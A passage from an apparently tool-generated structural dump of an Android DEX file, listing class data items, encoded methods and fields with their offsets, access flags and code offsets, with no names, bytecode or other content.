    00088912 access_flags uint32 0x00000008 ; ACC_STATIC
    00088913 code_off uint32 0x4b2ec
    00088916
    00088916 struct encoded_method
    00088916 method_idx_diff int 0x11390
    00088917 access_flags uint32 0x00000008 ; ACC_STATIC
    00088918 code_off uint32 0x4b314
    0008891b
    0008891b struct class_data_item
    0008891b static_fields_size int 0
    0008891c instance_fields_size int 0
    0008891d direct_methods_size int 3
    0008891e virtual_methods_size int 0
    0008891f
    0008891f struct encoded_method
    0008891f method_idx_diff int 0x11398
    00088921 access_flags uint32 0x00000008 ; ACC_STATIC
    00088922 code_off uint32 0x4b340
    00088925
    00088925 struct encoded_method
    00088925 method_idx_diff int 0x113a0
    00088926 access_flags uint32 0x00000008 ; ACC_STATIC
    00088927 code_off uint32 0x4b360
    0008892a
    0008892a struct encoded_method
    0008892a method_idx_diff int 0x113a8
    0008892b access_flags uint32 0x00000008 ; ACC_STATIC
    0008892c code_off uint32 0x4b380
    0008892f
    0008892f struct class_data_item
    0008892f static_fields_size int 0
    00088930 instance_fields_size int 0
    00088931 direct_methods_size int 1
    00088932 virtual_methods_size int 0
    00088933
    00088933 struct encoded_method
    00088933 method_idx_diff int 0x113b0
    00088935 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088936 code_off uint32 0x4b3a0
    00088939
    00088939 struct class_data_item
    00088939 static_fields_size int 0
    0008893a instance_fields_size int 0
    0008893b direct_methods_size int 1
    0008893c virtual_methods_size int 0
    0008893d
    0008893d struct encoded_method
    0008893d method_idx_diff int 0x113b8
    0008893f access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088940 code_off uint32 0x4b3d0
    00088943
    00088943 struct class_data_item
    00088943 static_fields_size int 0
    00088944 instance_fields_size int 0
    00088945 direct_methods_size int 1
    00088946 virtual_methods_size int 0
    00088947
    00088947 struct encoded_method
    00088947 method_idx_diff int 0x113e0
    00088949 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008894a code_off uint32 0x4b514
    0008894d
    0008894d struct class_data_item
    0008894d static_fields_size int 0
    0008894e instance_fields_size int 0
    0008894f direct_methods_size int 1
    00088950 virtual_methods_size int 0
    00088951
    00088951 struct encoded_method
    00088951 method_idx_diff int 0x113e8
    00088953 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088954 code_off uint32 0x4b530
    00088957
    00088957 struct class_data_item
    00088957 static_fields_size int 0
    00088958 instance_fields_size int 0
    00088959 direct_methods_size int 0
    0008895a virtual_methods_size int 14
    0008895b
    0008895b struct encoded_method
    0008895b method_idx_diff int 0x11468
    0008895d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008895f code_off uint32 0x00000000
    00088960
    00088960 struct encoded_method
    00088960 method_idx_diff int 0x11470
    00088961 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088963 code_off uint32 0x00000000
    00088964
    00088964 struct encoded_method
    00088964 method_idx_diff int 0x11478
    00088965 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088967 code_off uint32 0x00000000
    00088968
    00088968 struct encoded_method
    00088968 method_idx_diff int 0x11480
    00088969 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008896b code_off uint32 0x00000000
    0008896c
    0008896c struct encoded_method
    0008896c method_idx_diff int 0x11488
    0008896d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008896f code_off uint32 0x00000000
    00088970
    00088970 struct encoded_method
    00088970 method_idx_diff int 0x11490
    00088971 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088973 code_off uint32 0x00000000
    00088974
    00088974 struct encoded_method
    00088974 method_idx_diff int 0x11498
    00088975 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088977 code_off uint32 0x00000000
    00088978
    00088978 struct encoded_method
    00088978 method_idx_diff int 0x114a0
    00088979 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008897b code_off uint32 0x00000000
    0008897c
    0008897c struct encoded_method
    0008897c method_idx_diff int 0x114a8
    0008897d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008897f code_off uint32 0x00000000
    00088980
    00088980 struct encoded_method
    00088980 method_idx_diff int 0x114b0
    00088981 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088983 code_off uint32 0x00000000
    00088984
    00088984 struct encoded_method
    00088984 method_idx_diff int 0x114b8
    00088985 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088987 code_off uint32 0x00000000
    00088988
    00088988 struct encoded_method
    00088988 method_idx_diff int 0x114c0
    00088989 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008898b code_off uint32 0x00000000
    0008898c
    0008898c struct encoded_method
    0008898c method_idx_diff int 0x114c8
    0008898d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008898f code_off uint32 0x00000000
    00088990
    00088990 struct encoded_method
    00088990 method_idx_diff int 0x114d0
    00088991 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088993 code_off uint32 0x00000000
    00088994
    00088994 struct class_data_item
    00088994 static_fields_size int 0
    00088995 instance_fields_size int 0
    00088996 direct_methods_size int 1
    00088997 virtual_methods_size int 14
    00088998
    00088998 struct encoded_method
    00088998 method_idx_diff int 0x113f0
    0008899a access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    0008899d code_off uint32 0x4b54c
    000889a0
    000889a0 struct encoded_method
    000889a0 method_idx_diff int 0x113f8
    000889a2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889a3 code_off uint32 0x4b564
    000889a6
    000889a6 struct encoded_method
    000889a6 method_idx_diff int 0x11400
    000889a7 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889a8 code_off uint32 0x4b578
    000889ab
    000889ab struct encoded_method
    000889ab method_idx_diff int 0x11408
    000889ac access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889ad code_off uint32 0x4b58c
    000889b0
    000889b0 struct encoded_method
    000889b0 method_idx_diff int 0x11410
    000889b1 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889b2 code_off uint32 0x4b5a4
    000889b5
    000889b5 struct encoded_method
    000889b5 method_idx_diff int 0x11418
    000889b6 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889b7 code_off uint32 0x4b5b8
    000889ba
    000889ba struct encoded_method
    000889ba method_idx_diff int 0x11420
    000889bb access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889bc code_off uint32 0x4b5d0
    000889bf
    000889bf struct encoded_method
    000889bf method_idx_diff int 0x11428
    000889c0 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889c1 code_off uint32 0x4b5e4
    000889c4
    000889c4 struct encoded_method
    000889c4 method_idx_diff int 0x11430
    000889c5 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889c6 code_off uint32 0x4b5fc
    000889c9
    000889c9 struct encoded_method
    000889c9 method_idx_diff int 0x11438
    000889ca access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889cb code_off uint32 0x4b614
    000889ce
    000889ce struct encoded_method
    000889ce method_idx_diff int 0x11440
    000889cf access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889d0 code_off uint32 0x4b628
    000889d3
    000889d3 struct encoded_method
    000889d3 method_idx_diff int 0x11448
    000889d4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889d5 code_off uint32 0x4b63c
    000889d8
    000889d8 struct encoded_method
    000889d8 method_idx_diff int 0x11450
    000889d9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889da code_off uint32 0x4b658
    000889dd
    000889dd struct encoded_method
    000889dd method_idx_diff int 0x11458
    000889de access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889df code_off uint32 0x4b66c
    000889e2
    000889e2 struct encoded_method
    000889e2 method_idx_diff int 0x11460
    000889e3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889e4 code_off uint32 0x4b680
    000889e7
    000889e7 struct class_data_item
    000889e7 static_fields_size int 0
    000889e8 instance_fields_size int 0
    000889e9 direct_methods_size int 1
    000889ea virtual_methods_size int 2
    000889eb
    000889eb struct encoded_method
    000889eb method_idx_diff int 0x114d8
    000889ed access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    000889f0 code_off uint32 0x4b694
    000889f3
    000889f3 struct encoded_method
    000889f3 method_idx_diff int 0x114e0
    000889f5 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889f6 code_off uint32 0x4b6ac
    000889f9
    000889f9 struct encoded_method
    000889f9 method_idx_diff int 0x114e8
    000889fa access_flags uint32 0x00000001 ; ACC_PUBLIC
    000889fb code_off uint32 0x4b6c4
    000889fe
    000889fe struct class_data_item
    000889fe static_fields_size int 0
    000889ff instance_fields_size int 0
    00088a00 direct_methods_size int 1
    00088a01 virtual_methods_size int 0
    00088a02
    00088a02 struct encoded_method
    00088a02 method_idx_diff int 0x114f0
    00088a04 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088a07 code_off uint32 0x4b6e0
    00088a0a
    00088a0a struct class_data_item
    00088a0a static_fields_size int 0
    00088a0b instance_fields_size int 0
    00088a0c direct_methods_size int 1
    00088a0d virtual_methods_size int 4
    00088a0e
    00088a0e struct encoded_method
    00088a0e method_idx_diff int 0x114f8
    00088a10 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088a13 code_off uint32 0x4b6f8
    00088a16
    00088a16 struct encoded_method
    00088a16 method_idx_diff int 0x11500
    00088a18 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a19 code_off uint32 0x4b710
    00088a1c
    00088a1c struct encoded_method
    00088a1c method_idx_diff int 0x11508
    00088a1d access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a1e code_off uint32 0x4b728
    00088a21
    00088a21 struct encoded_method
    00088a21 method_idx_diff int 0x11510
    00088a22 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a23 code_off uint32 0x4b744
    00088a26
    00088a26 struct encoded_method
    00088a26 method_idx_diff int 0x11518
    00088a27 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a28 code_off uint32 0x4b760
    00088a2b
    00088a2b struct class_data_item
    00088a2b static_fields_size int 0
    00088a2c instance_fields_size int 0
    00088a2d direct_methods_size int 1
    00088a2e virtual_methods_size int 10
    00088a2f
    00088a2f struct encoded_method
    00088a2f method_idx_diff int 0x11520
    00088a31 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088a34 code_off uint32 0x4b77c
    00088a37
    00088a37 struct encoded_method
    00088a37 method_idx_diff int 0x11528
    00088a39 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a3a code_off uint32 0x4b794
    00088a3d
    00088a3d struct encoded_method
    00088a3d method_idx_diff int 0x11530
    00088a3e access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a3f code_off uint32 0x4b7ac
    00088a42
    00088a42 struct encoded_method
    00088a42 method_idx_diff int 0x11538
    00088a43 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a44 code_off uint32 0x4b7c4
    00088a47
    00088a47 struct encoded_method
    00088a47 method_idx_diff int 0x11540
    00088a48 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a49 code_off uint32 0x4b7dc
    00088a4c
    00088a4c struct encoded_method
    00088a4c method_idx_diff int 0x11548
    00088a4d access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a4e code_off uint32 0x4b7f4
    00088a51
    00088a51 struct encoded_method
    00088a51 method_idx_diff int 0x11550
    00088a52 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a53 code_off uint32 0x4b80c
    00088a56
    00088a56 struct encoded_method
    00088a56 method_idx_diff int 0x11558
    00088a57 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a58 code_off uint32 0x4b824
    00088a5b
    00088a5b struct encoded_method
    00088a5b method_idx_diff int 0x11560
    00088a5c access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a5d code_off uint32 0x4b83c
    00088a60
    00088a60 struct encoded_method
    00088a60 method_idx_diff int 0x11568
    00088a61 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a62 code_off uint32 0x4b858
    00088a65
    00088a65 struct encoded_method
    00088a65 method_idx_diff int 0x11570
    00088a66 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a67 code_off uint32 0x4b874
    00088a6a
    00088a6a struct class_data_item
    00088a6a static_fields_size int 0
    00088a6b instance_fields_size int 0
    00088a6c direct_methods_size int 1
    00088a6d virtual_methods_size int 1
    00088a6e
    00088a6e struct encoded_method
    00088a6e method_idx_diff int 0x11578
    00088a70 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088a73 code_off uint32 0x4b890
    00088a76
    00088a76 struct encoded_method
    00088a76 method_idx_diff int 0x11580
    00088a78 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088a79 code_off uint32 0x4b8a8
    00088a7c
    00088a7c struct class_data_item
    00088a7c static_fields_size int 1
    00088a7d instance_fields_size int 0
    00088a7e direct_methods_size int 15
    00088a7f virtual_methods_size int 0
    00088a80
    00088a80 struct encoded_field
    00088a80 field_idx_diff int 0x9e70
    00088a82 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00088a83
    00088a83 struct encoded_method
    00088a83 method_idx_diff int 0x11588
    00088a85 access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    00088a88 code_off uint32 0x4b8bc
    00088a8b
    00088a8b struct encoded_method
    00088a8b method_idx_diff int 0x11590
    00088a8c access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088a8d code_off uint32 0x4b948
    00088a90
    00088a90 struct encoded_method
    00088a90 method_idx_diff int 0x11598
    00088a91 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088a92 code_off uint32 0x4b964
    00088a95
    00088a95 struct encoded_method
    00088a95 method_idx_diff int 0x115a0
    00088a96 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088a97 code_off uint32 0x4b980
    00088a9a
    00088a9a struct encoded_method
    00088a9a method_idx_diff int 0x115a8
    00088a9b access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088a9c code_off uint32 0x4b99c
    00088a9f
    00088a9f struct encoded_method
    00088a9f method_idx_diff int 0x115b0
    00088aa0 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088aa1 code_off uint32 0x4b9c4
    00088aa4
    00088aa4 struct encoded_method
    00088aa4 method_idx_diff int 0x115b8
    00088aa5 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088aa6 code_off uint32 0x4b9e0
    00088aa9
    00088aa9 struct encoded_method
    00088aa9 method_idx_diff int 0x115c0
    00088aaa access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088aab code_off uint32 0x4b9fc
    00088aae
    00088aae struct encoded_method
    00088aae method_idx_diff int 0x115c8
    00088aaf access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ab0 code_off uint32 0x4ba24
    00088ab3
    00088ab3 struct encoded_method
    00088ab3 method_idx_diff int 0x115d0
    00088ab4 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ab5 code_off uint32 0x4ba40
    00088ab8
    00088ab8 struct encoded_method
    00088ab8 method_idx_diff int 0x115d8
    00088ab9 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088aba code_off uint32 0x4ba5c
    00088abd
    00088abd struct encoded_method
    00088abd method_idx_diff int 0x115e0
    00088abe access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088abf code_off uint32 0x4ba7c
    00088ac2
    00088ac2 struct encoded_method
    00088ac2 method_idx_diff int 0x115e8
    00088ac3 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ac4 code_off uint32 0x4ba9c
    00088ac7
    00088ac7 struct encoded_method
    00088ac7 method_idx_diff int 0x115f0
    00088ac8 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ac9 code_off uint32 0x4babc
    00088acc
    00088acc struct encoded_method
    00088acc method_idx_diff int 0x115f8
    00088acd access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ace code_off uint32 0x4badc
    00088ad1
    00088ad1 struct class_data_item
    00088ad1 static_fields_size int 0
    00088ad2 instance_fields_size int 0
    00088ad3 direct_methods_size int 5
    00088ad4 virtual_methods_size int 0
    00088ad5
    00088ad5 struct encoded_method
    00088ad5 method_idx_diff int 0x11600
    00088ad7 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ad8 code_off uint32 0x4bafc
    00088adb
    00088adb struct encoded_method
    00088adb method_idx_diff int 0x11608
    00088adc access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088add code_off uint32 0x4bb24
    00088ae0
    00088ae0 struct encoded_method
    00088ae0 method_idx_diff int 0x11610
    00088ae1 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ae2 code_off uint32 0x4bb48
    00088ae5
    00088ae5 struct encoded_method
    00088ae5 method_idx_diff int 0x11618
    00088ae6 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088ae7 code_off uint32 0x4bb6c
    00088aea
    00088aea struct encoded_method
    00088aea method_idx_diff int 0x11620
    00088aeb access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088aec code_off uint32 0x4bb84
    00088aef
    00088aef struct class_data_item
    00088aef static_fields_size int 0
    00088af0 instance_fields_size int 0
    00088af1 direct_methods_size int 2
    00088af2 virtual_methods_size int 0
    00088af3
    00088af3 struct encoded_method
    00088af3 method_idx_diff int 0x11628
    00088af5 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088af6 code_off uint32 0x4bba8
    00088af9
    00088af9 struct encoded_method
    00088af9 method_idx_diff int 0x11630
    00088afa access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088afb code_off uint32 0x4bbc0
    00088afe
    00088afe struct class_data_item
    00088afe static_fields_size int 0
    00088aff instance_fields_size int 0
    00088b00 direct_methods_size int 4
    00088b01 virtual_methods_size int 0
    00088b02
    00088b02 struct encoded_method
    00088b02 method_idx_diff int 0x11638
    00088b04 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b05 code_off uint32 0x4bbe8
    00088b08
    00088b08 struct encoded_method
    00088b08 method_idx_diff int 0x11640
    00088b09 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b0a code_off uint32 0x4bc00
    00088b0d
    00088b0d struct encoded_method
    00088b0d method_idx_diff int 0x11648
    00088b0e access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b0f code_off uint32 0x4bc1c
    00088b12
    00088b12 struct encoded_method
    00088b12 method_idx_diff int 0x11650
    00088b13 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b14 code_off uint32 0x4bc44
    00088b17
    00088b17 struct class_data_item
    00088b17 static_fields_size int 0
    00088b18 instance_fields_size int 0
    00088b19 direct_methods_size int 10
    00088b1a virtual_methods_size int 0
    00088b1b
    00088b1b struct encoded_method
    00088b1b method_idx_diff int 0x11658
    00088b1d access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b1e code_off uint32 0x4bc60
    00088b21
    00088b21 struct encoded_method
    00088b21 method_idx_diff int 0x11660
    00088b22 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b23 code_off uint32 0x4bc88
    00088b26
    00088b26 struct encoded_method
    00088b26 method_idx_diff int 0x11668
    00088b27 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b28 code_off uint32 0x4bca0
    00088b2b
    00088b2b struct encoded_method
    00088b2b method_idx_diff int 0x11670
    00088b2c access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b2d code_off uint32 0x4bcb8
    00088b30
    00088b30 struct encoded_method
    00088b30 method_idx_diff int 0x11678
    00088b31 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b32 code_off uint32 0x4bcd0
    00088b35
    00088b35 struct encoded_method
    00088b35 method_idx_diff int 0x11680
    00088b36 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b37 code_off uint32 0x4bce8
    00088b3a
    00088b3a struct encoded_method
    00088b3a method_idx_diff int 0x11688
    00088b3b access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b3c code_off uint32 0x4bd00
    00088b3f
    00088b3f struct encoded_method
    00088b3f method_idx_diff int 0x11690
    00088b40 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b41 code_off uint32 0x4bd18
    00088b44
    00088b44 struct encoded_method
    00088b44 method_idx_diff int 0x11698
    00088b45 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b46 code_off uint32 0x4bd30
    00088b49
    00088b49 struct encoded_method
    00088b49 method_idx_diff int 0x116a0
    00088b4a access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088b4b code_off uint32 0x4bd4c
    00088b4e
    00088b4e struct class_data_item
    00088b4e static_fields_size int 0
    00088b4f instance_fields_size int 0
    00088b50 direct_methods_size int 0
    00088b51 virtual_methods_size int 1
    00088b52
    00088b52 struct encoded_method
    00088b52 method_idx_diff int 0x116a8
    00088b54 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088b56 code_off uint32 0x00000000
    00088b57
    00088b57 struct class_data_item
    00088b57 static_fields_size int 0
    00088b58 instance_fields_size int 4
    00088b59 direct_methods_size int 1
    00088b5a virtual_methods_size int 4
    00088b5b
    00088b5b struct encoded_field
    00088b5b field_idx_diff int 0x9e78
    00088b5d access_flags uint32 0x00000000
    00088b5e
    00088b5e struct encoded_field
    00088b5e field_idx_diff int 0x9e80
    00088b5f access_flags uint32 0x00000000
    00088b60
    00088b60 struct encoded_field
    00088b60 field_idx_diff int 0x9e88
    00088b61 access_flags uint32 0x00000000
    00088b62
    00088b62 struct encoded_field
    00088b62 field_idx_diff int 0x9e90
    00088b63 access_flags uint32 0x00000000
    00088b64
    00088b64 struct encoded_method
    00088b64 method_idx_diff int 0x116b0
    00088b66 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088b69 code_off uint32 0x4bd68
    00088b6c
    00088b6c struct encoded_method
    00088b6c method_idx_diff int 0x116b8
    00088b6e access_flags uint32 0x00000000
    00088b6f code_off uint32 0x4bdb4
    00088b72
    00088b72 struct encoded_method
    00088b72 method_idx_diff int 0x116c0
    00088b73 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088b74 code_off uint32 0x4bdd4
    00088b77
    00088b77 struct encoded_method
    00088b77 method_idx_diff int 0x116c8
    00088b78 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088b79 code_off uint32 0x4be04
    00088b7c
    00088b7c struct encoded_method
    00088b7c method_idx_diff int 0x116d0
    00088b7d access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088b7f code_off uint32 0x00000000
    00088b80
    00088b80 struct class_data_item
    00088b80 static_fields_size int 0
    00088b81 instance_fields_size int 0
    00088b82 direct_methods_size int 1
    00088b83 virtual_methods_size int 1
    00088b84
    00088b84 struct encoded_method
    00088b84 method_idx_diff int 0x116d8
    00088b86 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088b89 code_off uint32 0x4be20
    00088b8c
    00088b8c struct encoded_method
    00088b8c method_idx_diff int 0x116e0
    00088b8e access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088b8f code_off uint32 0x4be38
    00088b92
    00088b92 struct class_data_item
    00088b92 static_fields_size int 1
    00088b93 instance_fields_size int 6
    00088b94 direct_methods_size int 5
    00088b95 virtual_methods_size int 34
    00088b96
    00088b96 struct encoded_field
    00088b96 field_idx_diff int 0x9e98
    00088b98 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00088b99
    00088b99 struct encoded_field
    00088b99 field_idx_diff int 0x9ea0
    00088b9b access_flags uint32 0x00000000
    00088b9c
    00088b9c struct encoded_field
    00088b9c field_idx_diff int 0x9ea8
    00088b9d access_flags uint32 0x00000000
    00088b9e
    00088b9e struct encoded_field
    00088b9e field_idx_diff int 0x9eb0
    00088b9f access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088ba0
    00088ba0 struct encoded_field
    00088ba0 field_idx_diff int 0x9eb8
    00088ba1 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088ba2
    00088ba2 struct encoded_field
    00088ba2 field_idx_diff int 0x9ec0
    00088ba3 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088ba4
    00088ba4 struct encoded_field
    00088ba4 field_idx_diff int 0x9ec8
    00088ba5 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088ba6
    00088ba6 struct encoded_method
    00088ba6 method_idx_diff int 0x116e8
    00088ba8 access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    00088bab code_off uint32 0x4be54
    00088bae
    00088bae struct encoded_method
    00088bae method_idx_diff int 0x116f0
    00088baf access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088bb2 code_off uint32 0x4be70
    00088bb5
    00088bb5 struct encoded_method
    00088bb5 method_idx_diff int 0x116f8
    00088bb6 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088bb9 code_off uint32 0x4be9c
    00088bbc
    00088bbc struct encoded_method
    00088bbc method_idx_diff int 0x11710
    00088bbd access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088bbe code_off uint32 0x4bec0
    00088bc1
    00088bc1 struct encoded_method
    00088bc1 method_idx_diff int 0x11720
    00088bc2 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088bc3 code_off uint32 0x4befc
    00088bc6
    00088bc6 struct encoded_method
    00088bc6 method_idx_diff int 0x11700
    00088bc8 access_flags uint32 0x00000011 ; ACC_PUBLIC|ACC_FINAL
    00088bc9 code_off uint32 0x4bf80
    00088bcc
    00088bcc struct encoded_method
    00088bcc method_idx_diff int 0x11708
    00088bcd access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088bce code_off uint32 0x4bf98
    00088bd1
    00088bd1 struct encoded_method
    00088bd1 method_idx_diff int 0x11718
    00088bd2 access_flags uint32 0x00000011 ; ACC_PUBLIC|ACC_FINAL
    00088bd3 code_off uint32 0x4bfb4
    00088bd6
    00088bd6 struct encoded_method
    00088bd6 method_idx_diff int 0x11728
    00088bd7 access_flags uint32 0x00000000
    00088bd8 code_off uint32 0x4c040
    00088bdb
    00088bdb struct encoded_method
    00088bdb method_idx_diff int 0x11730
    00088bdc access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088bdd code_off uint32 0x4c064
    00088be0
    00088be0 struct encoded_method
    00088be0 method_idx_diff int 0x11740
    00088be1 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088be2 code_off uint32 0x4c078
    00088be5
    00088be5 struct encoded_method
    00088be5 method_idx_diff int 0x11748
    00088be6 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088be7 code_off uint32 0x4c094
    00088bea
    00088bea struct encoded_method
    00088bea method_idx_diff int 0x11750
    00088beb access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088bec code_off uint32 0x4c0d8
    00088bef
    00088bef struct encoded_method
    00088bef method_idx_diff int 0x11758
    00088bf0 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088bf1 code_off uint32 0x4c11c
    00088bf4
    00088bf4 struct encoded_method
    00088bf4 method_idx_diff int 0x11760
    00088bf5 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088bf6 code_off uint32 0x4c13c
    00088bf9
    00088bf9 struct encoded_method
    00088bf9 method_idx_diff int 0x11768
    00088bfa access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088bfb code_off uint32 0x4c15c
    00088bfe
    00088bfe struct encoded_method
    00088bfe method_idx_diff int 0x11770
    00088bff access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c00 code_off uint32 0x4c17c
    00088c03
    00088c03 struct encoded_method
    00088c03 method_idx_diff int 0x11778
    00088c04 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c05 code_off uint32 0x4c19c
    00088c08
    00088c08 struct encoded_method
    00088c08 method_idx_diff int 0x11780
    00088c09 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c0a code_off uint32 0x4c1bc
    00088c0d
    00088c0d struct encoded_method
    00088c0d method_idx_diff int 0x11788
    00088c0e access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c0f code_off uint32 0x4c1dc
    00088c12
    00088c12 struct encoded_method
    00088c12 method_idx_diff int 0x11790
    00088c13 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c14 code_off uint32 0x4c1fc
    00088c17
    00088c17 struct encoded_method
    00088c17 method_idx_diff int 0x11798
    00088c18 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c19 code_off uint32 0x4c21c
    00088c1c
    00088c1c struct encoded_method
    00088c1c method_idx_diff int 0x117a0
    00088c1d access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c1e code_off uint32 0x4c23c
    00088c21
